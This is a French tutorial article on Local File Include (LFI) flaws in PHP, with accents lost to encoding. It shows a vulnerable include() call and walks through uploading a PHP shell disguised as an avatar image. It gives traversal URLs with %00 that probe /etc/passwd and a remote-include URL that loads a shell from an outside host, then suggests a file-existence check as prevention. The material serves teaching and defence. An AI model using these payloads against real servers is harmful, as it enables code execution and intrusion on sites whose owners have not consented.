Vous êtes sur la page 1sur 4

Les failles LFI (Local File include)

Je vais vous parler dans cet article des failles de type LFI ou Local File Include, cette technique permet un hacker de faire excuter du code arbitraire sur le serveur cible.

Comment?
Cette faille survient par exemple dans du code PHP, quand le programmeur fait l'erreur de mettre une variable contrle par l'utilisateur dans une fonction include() ou require(), voyons un exemple concret.

Exemple :
Supposons qu'on ait dans la page d'accueil d'un site deux parties, une partie de gauche MENU et une partie de droite CONTENU, dans MENU on une multitude de liens qui feront apparatre des pages diffrentes dans CONTENU, on a trois solutions, la solution bte-bte "b-b", la solution intelligente-bte "i-b" et la solution "i-i". Dans la premire on va coder un max, dans la deuxime: codage intelligent mais on va se faire pirater, et enfin la troisime est digne d'un webmaster professionnel: b-b. On met dans toutes les pages un mme MENU gauche et un CONTENU chaque fois diffrent droite, les liens dans le MENU pointeront simplement vers ces pages (mme pas besoin de programmation, du HTML suffit faire a), mais seulement voila cette mthode est bte car si on a 1000 pages on devra copier/coller le script du MENU dans ces 1000 pages! D'un autre cot si ces pages sont gnres par exemple quotidiennement (systme de news) on devra chaque fois changer les 999 pages dj prsentes, rsultat on se retrouve dans le ptrin!!! b-i. Toutes les pages CONTENU sont cres indpendamment, et la page accueil sera elle constitue des deux parties, les liens dans le MENU renvoient vers cette mme page (target.gov/site/accueil.php par exemple) avec un paramtre: le nom de la page qui doit apparatre dans CONTENU (par exemple /accueil.php?page=inscription), la partie CONTENU de accueil.php rcupre cette variable dans $_GET['page'] et inclue la page demande dans le bloque <div> de CONTENU (le MENU apparatra toujours), par exemple avec :

include($_GET['page'] . ".php") Par exemple avec un lien du genre: /site/acceuil.php?page=inscription Le script ira chercher dans le rpertoire courant la page inscription.php et l'inclura. Oui mais voila ce qu'on a fait est une trs grosse btise: On a mis une variable contrle par l'utilisateur $_GET['page'] l'intrieur d'une fonction include() (elle est contrle par l'utilisateur car rien ne l'empche de taper ceci dans sa barre d'adresse: target.gov/site/acceuil.php?page=blablablabla maintenant la variable $_GET['page'] vaut "blablablabla"), voyons maintenant comment un hacker peut exploiter cette faille.

Exploitation
Supposons qu'il y ait un forum dans le site, o il a le droit de mettre son avatar (une image), il va prendre alors un script PHP qui lui permet de manipuler des fichiers sur un serveur (un backdoor, un shell) et va simplement lui changer son extension en .jpg pour pouvoir l'uploader sur le serveur, bien sr aucune image n'apparaitra, il n'a besoin que du lien vers cette image, supposons que ce lien soit: target.gov/forum/membres/avatars/3892/shell.jpg (Bien sr en tapant cet URL rien n'arrivera, le serveur ou le navigateur dira que l'image est endommage), donc le hacker va mettre cet URL: target.gov/site/accueil.php?page=../forum/membres/avatars/3892/shell.jpg%00 Que va faire ce drle d'URL?

Explication
Il va envoyer la variable page qui vaut ../forum/membres/avatars/3892/shell.jpg%00 vers la page accueil.php, maintenant $_GET['page'] vaut cette valeur et la fonction include() s'excutera comme suit: include("../forum/membres/avatars/3892/shell.jpg%00.php")

Commenons par le signe %00 (fin de caractre) en gros il dit au script d'ignorer ce qui vient aprs, on n'a donc que a: include("../forum/membres/avatars/3892/shell.jpg") Le ../ permet bien sr de remonter dans le rpertoire parent (parce que accueil.php se trouve dans le rpertoire /site mais on veut le rpertoire /forum donc on fait ../forum). Maintenant ce qui va apparatre dans le CONTENU c'est notre script PHP cach dans l'image shell.jpg, on aura ainsi russi excuter du code nous sur le serveur, toutes les portes nous sont ouvertes prsent pour faire (presque) n'importe quoi sur le serveur!

Prvention
i-i. Une manire intelligente d'viter a aurait t de crer une fonction PHP exist() qui retournera 1 ou 0 si elle trouve ou ne trouve pas l'argument pass dans le rpertoire, puis faire : if(exist($_GET['page'] . ".php")) { include($_GET['page'] . ".php"); } De cette faon, elle cherchera le fichier ../forum/membres/avatars/3892/shell.jpg dans le rpertoire /site et ne le trouvera pas, rien ne sera donc excut! (Pour viter d'ventuelles failles dans cette fonction PHP qui permet de vrifier si un fichier existe, mieux vaut sortir la liste des noms des fichiers contenus dans le rpertoire et les comparer la variable ($_GET['page'] . ".php")

Comment dtecter une telle faille ?


La tradition veut qu'on essai d'inclure le fichier /etc/passwd pour des serveurs Linux et /boot.ini pour les Windows (ces deux fichiers existent toujours), donc on commence faire ceci (pour un Linux par exemple): target.gov/site/accueil.php?page=../../../etc/passwd%00 target.gov/site/accueil.php?page=../../../../etc/passwd%00 target.gov/site/accueil.php?page=../../../../../etc/passwd%00 target.gov/site/accueil.php?page=../../../../../../etc/passwd%00

target.gov/site/accueil.php?page=../../../../../../../etc/passwd%00 ... etc Jusqu' ce qu'on voit le contenu du fichier /etc/passwd apparatre, on aura donc dtect une LFI!

Remarque
Dans d'anciennes versions de PHP, on arrivait mme inclure une page qui se trouve sur un autre serveur (on parle de Remote File Include ou RFI), on pouvait faire un truc du genre: target.gov/site/accueil.php?page=http://mysite.com/shell.txt%00 Et le shell sous forme de texte tait charg partir de mysite.com et excut dans target.gov! Heureusement, cette fonctionnalit est dsactive par dfaut dans les nouvelles versions de PHP, et rien ne justifie son activation !

Source : http://www.questmachine.org/article/Les_failles_LFI_%28Local_File_include%29